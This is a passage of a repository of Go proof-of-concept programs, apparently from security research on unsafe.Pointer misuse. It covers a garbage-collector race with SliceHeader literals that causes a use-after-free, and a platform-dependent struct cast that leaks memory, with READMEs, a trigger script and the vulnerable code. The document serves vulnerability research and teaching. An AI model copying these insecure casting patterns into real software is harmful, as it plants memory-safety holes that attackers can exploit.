fmt.Println(string((*leakingInformation)[:])) 17 | 18 | // avoid optimization of variable 19 | if secret[0] == 42 { 20 | fmt.Println("do not optimize secret") 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /race-slice/README.md: -------------------------------------------------------------------------------- 1 | # Slice Cast GC Race POC 2 | 3 | This proof of concept shows how a common, insecure casting pattern for slice types leads to a 4 | garbage collector (GC) race condition that causes a use-after-free vulnerability. 5 | 6 | 7 | ## Vulnerability mechanism 8 | 9 | One Goroutine (thread) continuously allocates and frees heap memory, thus increasing the pressure 10 | on the garbage collector. It will run when the heap size doubles since the last run, therefore the 11 | GC will run very often in this POC. 12 | 13 | The main Goroutine concurrently and repeatedly reads a line from the standard input, remembers the 14 | first character in a separate variable, converts the string to a `[]byte` slice, then reads another 15 | line into a string. If the first byte in the resulting `[]byte` slice is different from the stored 16 | first byte in the string, the POC prints a `win` message. 17 | 18 | The conversion between `string` and `[]byte` slice is done using an insecure in-place casting pattern: 19 | `unsafe.Pointer` is used to convert the string to its internal representation of length and address 20 | of its underlying data, which is available through the `reflect` package. Then, a slice header object 21 | is created from scratch, the data is copied over, and the new header is cast to a `[]byte` slice 22 | using `unsafe.Pointer` again. 23 | 24 | The problem is that the garbage collector does not treat the address of the underlying data array of 25 | the newly created slice header as a reference type because it is of type `uintptr` (non-reference) 26 | and the header is created from scratch instead of being derived from a real slice value. Thus, if 27 | the garbage collector runs exactly between creating the slice header and casting the new header to 28 | an actual slice value, then the underlying array is freed and we have a use-after-free vulnerability. 29 | This is a race condition against the GC. 30 | 31 | In this POC, the freed memory is reused by the second line that is read from standard input, but in 32 | a real-world scenario this could be arbitrary data including fields of a different, concurrent 33 | Goroutine, and following code could also write the data at the invalid slice. 34 | 35 | Further information can be found in the blog post [SliceHeader Literals in Go create a GC Race and Flawed Escape-Analysis. Exploitation with unsafe.Pointer on Real-World Code](https://dev.to/jlauinger/sliceheader-literals-in-go-create-a-gc-race-and-flawed-escape-analysis-exploitation-with-unsafe-pointer-on-real-world-code-4mh7) 36 | 37 | 38 | ## Threat model 39 | 40 | This code pattern is taken from real-world code. It is very common and used by very large projects. 41 | Use our linter tool [go-safer](https://github.com/jlauinger/go-safer) to identify usages of this 42 | pattern. 43 | 44 | Repeated execution is possible e.g. if the insecure casting pattern is included in a code path that 45 | gets executed upon generating a server response for a request, because then an attacker can flood 46 | the server with requests. If the program crashes, it would usually be restarted by a daemon supervisor, 47 | so that case does not mitigate the risk. 48 | 49 | 50 | ## Execute POC 51 | 52 | To run this proof of concept code, execute the following command: 53 | 54 | ``` 55 | go build main.go 56 | ./exploit.py | ./main 57 | ``` 58 | 59 | Expected output: 60 | 61 | ``` 62 | win! after 676 iterations 63 | ``` 64 | 65 | -------------------------------------------------------------------------------- /race-slice/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import errno 4 | from signal import signal, SIGPIPE, SIG_DFL 5 | signal(SIGPIPE,SIG_DFL) 6 | 7 | 8 | try: 9 | while True: 10 | print("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") 11 | print("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB") 12 | except Exception: 13 | pass 14 | 15 | -------------------------------------------------------------------------------- /race-slice/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "os" 7 | "reflect" 8 | "time" 9 | "unsafe" 10 | ) 11 | 12 | func main() { 13 | go heapHeapHeap() 14 | 15 | readAndHaveFun() 16 | } 17 | 18 | func unsafeStringToBytes(s *string) []byte { 19 | sh := (*reflect.StringHeader)(unsafe.Pointer(s)) 20 | sliceHeader := &reflect.SliceHeader{ 21 | Data: sh.Data, 22 | Len: sh.Len, 23 | Cap: sh.Len, 24 | } 25 | 26 | // CHANGE: 27 | time.Sleep(1 * time.Nanosecond) 28 | 29 | return *(*[]byte)(unsafe.Pointer(sliceHeader)) 30 | } 31 | 32 | func readAndHaveFun() { 33 | reader := bufio.NewReader(os.Stdin) 34 | count := 1 35 | var firstChar byte 36 | 37 | for { 38 | s, _ := reader.ReadString('\n') 39 | if len(s) == 0 { 40 | continue 41 | } 42 | firstChar = s[0] 43 | 44 | // HERE BE DRAGONS 45 | bytes := unsafeStringToBytes(&s) 46 | 47 | _, _ = reader.ReadString('\n') 48 | 49 | if len(bytes) > 0 && bytes[0] != firstChar { 50 | fmt.Printf("win! after %d iterations\n", count) 51 | os.Exit(0) 52 | } 53 | 54 | count++ 55 | } 56 | } 57 | 58 | func heapHeapHeap() { 59 | var a *[]byte 60 | for { 61 | tmp := make([]byte, 1000000, 1000000) 62 | a = &tmp 63 | _ = a 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /struct-cast/README.md: -------------------------------------------------------------------------------- 1 | # Architecture dependent types cast POC 2 | 3 | This proof of concept shows how architecture-dependent types within a struct type can cause 4 | alignment issues and thus buffer overflow vulnerabilities when structs are casted in-place using 5 | `unsafe`. 6 | 7 | 8 | ## Vulnerability mechanism 9 | 10 | `PinkStruct` and `VioletStruct` share the same types except field `B` which has type `int` or 11 | `int64` respectively. Only the `int` type is platform dependent. Therefore, casting instances 12 | of one struct to the other type can work on some platforms but not on others. Notably, casts 13 | work on 64-bit platforms. 14 | 15 | In the POC, an instance of `PinkStruct` is cast in-place to type `VioletStruct` using 16 | `unsafe.Pointer`. Then, the fields are printed to standard output. When the fields misalign, 17 | arbitrary memory data is printed. 18 | 19 | 20 | ## Threat model 21 | 22 | This vulnerability can be introduced when developers do not carefully test their code on all 23 | target platforms, or a target platform is added to the Go platform later on. 24 | 25 | 26 | ## Execute POC 27 | 28 | To run this proof of concept, execute the following commands: 29 | 30 | ``` 31 | GOARCH=amd64 go run main.go 32 | GOARCH=386 go run main.go 33 | ``` 34 | 35 | Expected output: 36 | 37 | ``` 38 | 1 39 | 42 40 | 9000 41 | --- 42 | 1 43 | 38654705664042 44 | 702917787932164096 45 | ``` 46 | 47 | -------------------------------------------------------------------------------- /struct-cast/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "unsafe" 6 | ) 7 | 8 | type PinkStruct struct { 9 | A uint8 10 | B int 11 | C int64 12 | } 13 | 14 | type VioletStruct struct { 15 | A uint8 16 | B int64 17 | C int64 18 | } 19 | 20 | func main() { 21 | pink := PinkStruct{ 22 | A: 1, 23 | B: 42, 24 | C: 9000, 25 | } 26 | 27 | violet := *(*VioletStruct)(unsafe.Pointer(&pink)) 28 | 29 | fmt.Println(violet.A) 30 | fmt.Println(violet.B) 31 | fmt.Println(violet.C) 32 | } 33 | 34 | --------------------------------------------------------------------------------